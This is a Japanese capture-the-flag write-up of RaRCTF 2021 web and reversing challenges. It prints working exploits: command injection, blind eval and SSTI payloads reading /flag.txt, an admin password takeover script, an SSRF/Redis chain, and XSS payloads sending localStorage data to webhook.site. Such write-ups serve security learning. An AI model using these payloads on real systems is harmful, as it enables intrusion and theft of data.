st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

RaRCTF 2021 writeup

8/7 - 8/10という日程で開催された。zer0ptsで参加して2位。2位の賞金に加えてSecure Storageでfirst bloodを取った賞品(猫型ランプ+α)ももらえるらしく嬉しい。

→ (9/9追記) 届いた。かわいい。


[Web 100] lemonthinker (395 solves)

OS Command Injection。

@app.route('/generate', methods=['POST'])
def upload():
    global clean
    if time.time() - clean > 60:
      os.system("rm static/images/*")
      clean = time.time()
    text = request.form.getlist('text')[0]
    text = text.replace("\"", "")
    filename = "".join(random.choices(chars,k=8)) + ".png"
    os.system(f"python3 generate.py {filename} \"{text}\"")
    return redirect(url_for('static', filename='images/' + filename), code=301)

$(cat /flag.txt|cut -c2-) みたいな感じで cut コマンドを使ってちまちまフラグを読み出せばよい。

f:id:st98:20210810063644p:plain

rarctf{b451c-c0mm4nd_1nj3ct10n_f0r-y0u_4nd_y0ur-l3m0nth1nk3rs_d8d21128bf}

[Web 150] Secure Uploader (137 solves)

Path Traversal。Burp Suiteなどで ///flag という名前のファイルをアップロードすればフラグが得られる。

f:id:st98:20210810064420p:plain

rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

[Web 100] Fancy Button Generator (109 solves)

XSS botjavascript: スキームのURLも受け付けてくれる。javascript:location.href=['https://webhook.site/…?',localStorage.flag] というURLを報告するとフラグが得られた。

rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

[Web 400] Microservices As A Service 1 (75 solves)

以下のように不必要に eval が呼ばれており、好きなPythonコードが実行できる。

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

ただし、/flag.txt を読み出そうにも外部との通信はできないし、コードからわかるように eval した結果が表示されることもない。でも、エラーが起きたかどうかはわかるので、その情報を使って1ビットずつフラグを読み出せばよい。

import urllib.parse
import requests

def query(n1, n2):
  r = requests.post('https://maas.rars.win/calculator', data={
    'mode': 'arithmetic',
    'add': '+',
    'n1': n1, 'n2': n2
  })

  t = r.text
  t = t[t.find(r'<pre style="border: 2px solid black">')+37:]
  t = t[:t.find('\n')]

  if 'DOCTYPE HTML PUBLIC' in t:
    raise Exception('??')

  return 'not a number' not in t

i = 0
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"""(ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'""", '%23'):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1
rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

[Web 500] Microservices As A Service 2 (59 solves)

notes/renderrender_template_string が呼ばれており、bio というユーザ入力を引数としているためSSTIができる。

@app.route("/render", methods=["POST"])
def render_bio():
    data = request.json.get('data')
    if data is None:
        data = {}
    return render_template_string(request.json.get('bio'), data=data)

ただし、このAPIを直接呼ぶことはできない。以下のように表からアクセスできる app から /notes/profile にアクセスすることで間接的に呼び出される。

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )
    # ...

render_template_string に渡される bio の変更は以下のようなコードでなされる。よく見ると bio.replace の結果が bio に代入されていない。Pythonstr.replace は非破壊的であるから、結局 {} といった文字は bio から取り除かれない。

    elif mode == "bioadd":
        bio = request.form.get("bio")
        bio.replace(".", "").replace("_", "").\
            replace("{", "").replace("}", "").\
            replace("(", "").replace(")", "").\
            replace("|", "")

        bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio)
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        requests.post(f"http://redis_userdata:5000/bio/{port}", json={
            "bio": bio
        })
        return ""

{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}bio に設定するとフラグが得られた。

rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

[Web 600] Microservices As A Service 3 (35 solves)

ユーザ名が admin であり、かつユーザIDが 0 であるユーザにログインできればフラグが得られる。

@app.route("/login", methods=["POST"])
def login():
    user = request.json['username']
    password = request.json['password']
    entry = get_user(name=user)
    if entry:
        if entry[2] == password:
            data = {"uid": entry[0], "name": user}
            if user == "admin" and entry[0] == 0:
                data['flag'] = open("/flag.txt").read()
            return jsonify(data)
        else:
            return jsonify({"error": "Incorrect password"})
    else:
        return jsonify({"uid": add_user(user, password), "name": user})

ユーザ側からユーザIDを変更することはできない。パスワードについては表からアクセスできる app/manager/update で変更できるが、以下のようにJSONスキーマによって変更対象のユーザのIDが自身のID以上の数値であるかチェックされている。

JSONスキーマによるユーザ入力のチェック後に http://manager:5000/update という内部からだけアクセスできるAPIを叩いてユーザ情報を変更している。ここでPOSTするデータとして request.get_data() を与えているが、これはPOSTされたデータをそのまま返す関数であることに注意する。つまり、重複したキーを持つJSONが与えられたとしても、managerAPIを叩くときにはそのままそのJSONが与えられてしまう。

@app.route("/manager/update", methods=["POST"])
def manager_update():
    schema = {"type": "object",
              "properties": {
                  "id": {
                      "type": "number",
                      "minimum": int(session['managerid'])
                  },
                  "password": {
                      "type": "string",
                      "minLength": 10
                  }
              }}
    try:
        jsonschema.validate(request.json, schema)
    except jsonschema.exceptions.ValidationError:
        return jsonify({"error": f"Invalid data provided"})
    return jsonify(requests.post("http://manager:5000/update",
                                 data=request.get_data()).json())

manager 側の /update のコードを確認すると、以下のように与えられたJSONをさらに manager_updater に投げている。

@app.route("/update", methods=["POST"])
def update():
    return jsonify(requests.post("http://manager_updater:8080/",
                                 data=request.get_data()).json())

manager_updater はGoで書かれている。Python側ではユーザIDが 0 以外のものに、Go側では 0 に解釈されるようなJSONを投げれば admin のパスワードを変更できるのではないか。

以下のように複数の id キーを持つJSONを使うと、admin のパスワードを変更し admin としてログインすることができた。

import base64
import json
import uuid
import zlib
import requests

def parse_session(sess):
  compressed = False
  if sess[0] == '.':
    compressed = True
    sess = sess[1:]
  sess = base64.urlsafe_b64decode(sess.split('.')[0] + '==')
  if compressed:
    sess = zlib.decompress(sess)
  sess = json.loads(sess[:sess.find(b'}')+1])
  return sess

host = 'https://maas.rars.win/'

username = str(uuid.uuid4())
password = str(uuid.uuid4())

s = requests.Session()
s.post(f'{host}/manager/login', data={
  'username': username,
  'password': password
})

sess = parse_session(s.cookies['session'])
id = sess['managerid']
r = s.post(f'{host}/manager/update', data=f'{{"id":0,"id":{id},"password":"{password}"}}', headers={
  'content-type': 'application/json'
})
print(r.text)

r = requests.post(f'{host}/manager/login', data={
  'username': 'admin',
  'password': password
})
print(r.text)
rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

[Web 650] MAAS 3.5: User Manager (32 solves)

Microservices As A Service 3と同じexploitでフラグが得られた。

rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}

[Web 650] Secure Storage (17 solves)

securestorage.rars.winsecureenclave.rars.win というふたつのドメインがあり、前者のページが後者のページを iframe で埋め込んでいるという関係にある。フラグは secureenclave.rars.winlocalStorage に格納されている。

secureenclave.rars.win では以下のようなスクリプトが実行されており、securestorage.rars.win から postMessage でデータが届けばそれを表示するという処理を行っている。

/* hey... what are you doing here??? 😡 */

console.log("secure js loaded...");

const z=(s,i,t=window,y='.')=>s.includes(y)?z(s.substring(s.indexOf(y)+1),i,t[s.split(y).shift()]):t[s]=i;

var user = "";
const render = () => {
    document.getElementById("user").innerText = user;
    document.getElementById("message").innerText = localStorage.message || "None set";
    document.getElementById("message").style.color = localStorage.color || "black";
};

window.onmessage = (e) => {
    let { origin, data } = e;
    if(origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
    z(...data.map(d => `${d}`));
    render();
};

z という関数をリネームなどで読みやすくすると以下のようになる。この関数は z('a.b.c', 'poyo') というように第一引数としてプロパティ名、第二引数として値を受け取り、そのプロパティに値を代入する。今挙げた例だと a.b.c = 'poyo' とほぼ同じ。

function recursiveAssign(key, value, obj = window, delimiter = '.') {
  if (key.includes(delimiter)) {
    return recursiveAssign(
      key.substring(key.indexOf(delimiter) + 1),
      value,
      obj[key.split(delimiter)[0]]
    );
  }

  return obj[key] = value;
}

securestorage.rars.win からは本来であれば ['localStorage.message','hello'] のようなメッセージだけが送られ、操作されるプロパティは localStorage だけのはず。だが、securestorage.rars.win にはログイン時のflash messageでユーザ名をエスケープせず出力する脆弱性があるため、このXSSによって任意のオブジェクトのプロパティが操作できてしまう。

location.hrefjavascript: スキームのURLを代入してしまえばよさそうだが、残念ながら secureenclave.rars.win では default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com というCSPが有効になっているために実行されない。ではどうするかというと、securestorage.rars.winsecureenclave.rars.win の両方で document.domain に同じドメイン名を代入してページのオリジンを変えてしまえばよい。これなら securestorage.rars.win から secureenclave.rars.winlocalStorage の値が読み出せるはずだ。

以下のようなHTMLとJavaScriptを用意し、adminにアクセスさせるとフラグが得られた。

exp.html

<body>
  <form method="POST" action="https://securestorage.rars.win/api/register" id="form">
    <input type="text" name="user" id="user">
    <input type="text" name="pass" value="poyoyon">
  </form>
  <script src="index.js"></script>
</body>

index.js

const payload = `
<script>
a = ${Math.random()};
window.addEventListener('load', () => {
  document.domain='rars.win';
  let storage = document.getElementById("secure_storage");
  setTimeout(()=>{
    storage.contentWindow.postMessage(['document.domain', 'rars.win'], storage.src);
    setTimeout(() => {
      navigator.sendBeacon('https://webhook.site/…', storage.contentWindow.localStorage.message)
    }, 500)
  }, 500);
});
</script>
`;
window.addEventListener('load', () => {
  document.getElementById('user').value = payload;
  document.getElementById('form').submit();
});
rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}

[Web 550] MAAS 2.5: Notes (16 solves)

Microservices As A Service 2の続き。bio.replace の結果がちゃんと bio に代入されるようになり、ただ bio を変更するだけではSSTIでRCEに持ち込むことができなくなった。

このアプリでは redis_userdata というホストでユーザごとにポート番号を割り振って別々にRedisサーバを立て、好きなキーに好きな値を SET することができるようになっている。bioredis_userdata/tmp/(ポート番号).txt というファイルに保存されており、ただRedisサーバにデータを書き込むだけではSSTIには持ち込めない。

このアプリには MIGRATE コマンドで別のRedisサーバにデータをコピーできる keytransfer という機能もあるらしい。

redis_userdata の他にも redis_users というRedisサーバが立っているホストがあり、こちらではユーザ名に対応するポート番号が格納されている。keytransfer はデータのコピー先について、ポート番号だけでなくホスト名まで操作できるから、redis_users にもデータを書き込めてしまう。

    elif mode == "keytransfer":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        red2 = redis.Redis(host="redis_userdata",
                           port=int(port))
        red2.migrate(request.form.get("host"),
                     request.form.get("port"),
                     [request.form.get("key")],
                     0, 1000,
                     copy=True, replace=True)
        return ""

ユーザ名に対応するポート番号の書き換えで何ができるだろうか。ソースコードを読んで悪用の方法を考える。ユーザの bio の表示では以下のように notes/useraction というAPIを叩いてデータを取得してきているが、

def render_bio(username, userdata):
    data = {"username": username,
            "mode": "bioget"}
    r = requests.post("http://notes:5000/useraction", data=data)
    try:
        r = requests.post("http://notes:5000/render", json={"bio": r.text, "data": userdata})
        return r.text
    except:
        return "Error in bio"

# ...

@app.route('/notes/profile', methods=["POST", "GET"])
def profile():
    username = session.get('notes-username')
    if not username:
        return redirect('/notes/register')
    uid = requests.get(f"http://notes:5000/getid/{username}").text
    if request.method == "GET":
        return render_template("profile.html",
                               bio=render_bio(username, userdata(username)),
                               userid=uid
                               )

notes 側では redis_users から取ってきたポート番号を無検証に http://redis_userdata:5000/getuser/{port} というURLに展開してHTTPリクエストを送っている。このため、例えばポート番号として数値でなく ../getuser/(適当なユーザのポート番号) が返ってくると、/bio/(ポート番号) の代わりに別の適当なユーザのデータが返ってきてしまう。

これなら適当なユーザのRedisサーバにSSTIのペイロードを仕込んでやることで、 str.replace によるフィルターを回避してSSTIができる。

    elif mode == "bioget":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        r = requests.get(f"http://redis_userdata:5000/bio/{port}")
        return r.text

以下のexploitコードを実行するとフラグが得られた。

import re
import uuid
import requests

#host = 'http://localhost:5000/'
host = 'https://maas2.rars.win/'
#payload = '{{config}}'
payload = "{{url_for.__globals__['__builtins__'].open('/flag.txt').read()}}"

username = str(uuid.uuid4())
s1 = requests.Session()

# 1. register as (user_A)
r = s1.post(host + '/notes/register', data={
  'username': username
})
port = re.findall(r'Profile: (\d+)', r.text)[0]

# 2. register as ../getid/(user_A)
s2 = requests.Session()
s2.post(host + '/notes/register', data={
  'username': f'../getid/{username}'
})

# 3. set ../getid/(user_A)'s port as ../getuser/(user_A's port) using SSRF
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'../getid/{username}',
  'value': f'../getuser/{port}'
})
s1.post(host + '/notes/profile', data={
  'mode': 'keytransfer',
  'host': 'redis_users',
  'port': '6379',
  'key': f'../getid/{username}'
})

# 4. post SSTI payload as (user_A)'s entry
s1.post(host + '/notes/profile', data={
  'mode': 'adddata',
  'key': f'test',
  'value': payload
})

print(s2.get(host + '/notes/profile').text)
rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}

[Web 250] Electroplating (15 solves)

Rustで String を返す関数内にユーザ入力が挿入され実行できるが、実行時にはseccompのために read, write, close, mummap, sendto, exit, readlink, sigaltstack, futex, exit_group, getrandom の11個のシステムコールしか呼び出せないという制限がある。この制限の中で /flag.txt を読み出さなければならない。

Rustには include_str! というマクロがあり、これを使えばコンパイル時にファイルを文字列として読み込ませることができる。<templ>return String::from(include_str!("/flag.txt"));</templ> でフラグが得られた。

rarctf{D0n7_l3t-y0ur-5k1ll5-g0-rus7y!-24c55263}

[Rev 600] boring flag checker (23 solves)

Brainf*ckのリバースエンジニアリング問。私が問題を確認した時点でx0r19x91さんとnyankoさんによって prog.bin が既にBrainf*ckコードに変換されていた。

Brainf*ckコードを眺めていると、以下の画像の赤枠で囲った箇所ではメモリをクリアしていそうだなあとわかる。このメモリをクリアする箇所を削除すればどんな値がメモリに残るのか気になるところ。

f:id:st98:20210810095100p:plain

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa を入力した場合のメモリ:

0000:  01  01  00  EF  00  EF  FE  ED  FB  E6  30  02  ..........0.
000C:  F9  31  F1  2E  02  E8  31  EC  34  2E  F3  F7  .1....1.4...
0018:  F2  E8  2E  FD  02  F4  E8  34  1F  EF  2D  30  .......4..-0
0024:  F3  1B  3D  3B  F6  02  EF  2E  EB  40  02  FD  ..=;.....@..
0030:  2E  29  2A  30  2A  30  2A  2C  30  E4  00  00  .)*0*0*,0...

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  F0  01  F0  FF  EE  FC  E7  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

rarctf{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb を入力した場合のメモリ:

0000:  01  01  00  00  00  00  00  00  00  00  31  03  ..........1.
000C:  FA  32  F2  2F  03  E9  32  ED  35  2F  F4  F8  .2./..2.5/..
0018:  F3  E9  2F  FE  03  F5  E9  35  20  F0  2E  31  ../....5...1
0024:  F4  1C  3E  3C  F7  03  F0  2F  EC  41  03  FE  ..><.../.A..
0030:  2F  2A  2B  31  2B  31  2B  2D  31  E5  00  00  /*+1+1+-1...

これらを見比べると、正解の文字が増えるほど0の数が増えていることがわかる。この性質を使えば1文字ずつフラグが特定できる。

import io

with open('poyo.bf', 'r') as f:
  code = f.read()

class Memory(object):
  def __init__(self):
    self.memory = [0 for _ in range(30000)]
    self.accessed = [0 for _ in range(30000)]

  def __getitem__(self, k):
    self.accessed[k] += 1
    return self.memory[k]

  def __setitem__(self, k, v):
    self.memory[k] = v

def run(code, inp):
  mem = Memory()
  p = 0
  i = 0
  inp = io.BytesIO(inp)

  out = ''
  cycle = 0

  while i < len(code):
    c = code[i]
    cycle += 1#

    if c == '+':
      mem[p] = (mem[p] + 1) % 256
    elif c == '-':
      mem[p] = (mem[p] - 1) % 256
    elif c == '>':
      p += 1
    elif c == '<':
      p -= 1
    elif c == '.':
      out += chr(mem[p])
    elif c == ',':
      tmp = inp.read(1)
      if len(tmp) == 0:
        tmp = b'\0'
      mem[p] = ord(tmp)
    elif c == '[':
      if mem[p] == 0:
        d = 1
        while d != 0 and i < len(code):
          i += 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d += 1
          elif c == ']':
            d -= 1
    elif c == ']':
      if mem[p] != 0:
        d = 1
        while d != 0 and i >= 0:
          i -= 1
          c = code[i]
          cycle += 1#
          if c == '[':
            d -= 1
          elif c == ']':
            d += 1
    i += 1

  return {
    'out': out,
    'cycle': cycle,
    'mem': mem.memory,
    'freq': mem.accessed[:100]
  }

flag = [0x61 for _ in range(55)]
for i in range(len(flag)):
  ma, mc = 0, 0
  for c in range(0x20, 0x7f):
    flag[i] = c
    cnt = run(code, bytes(flag))['mem'].count(0)
    if cnt > ma:
      ma, mc = cnt, c
  flag[i] = mc
  print(bytes(flag))
rarctf{1_h0p3_y0u-3njoy3d_my-Br41nF$&k_r3v!_d387171751}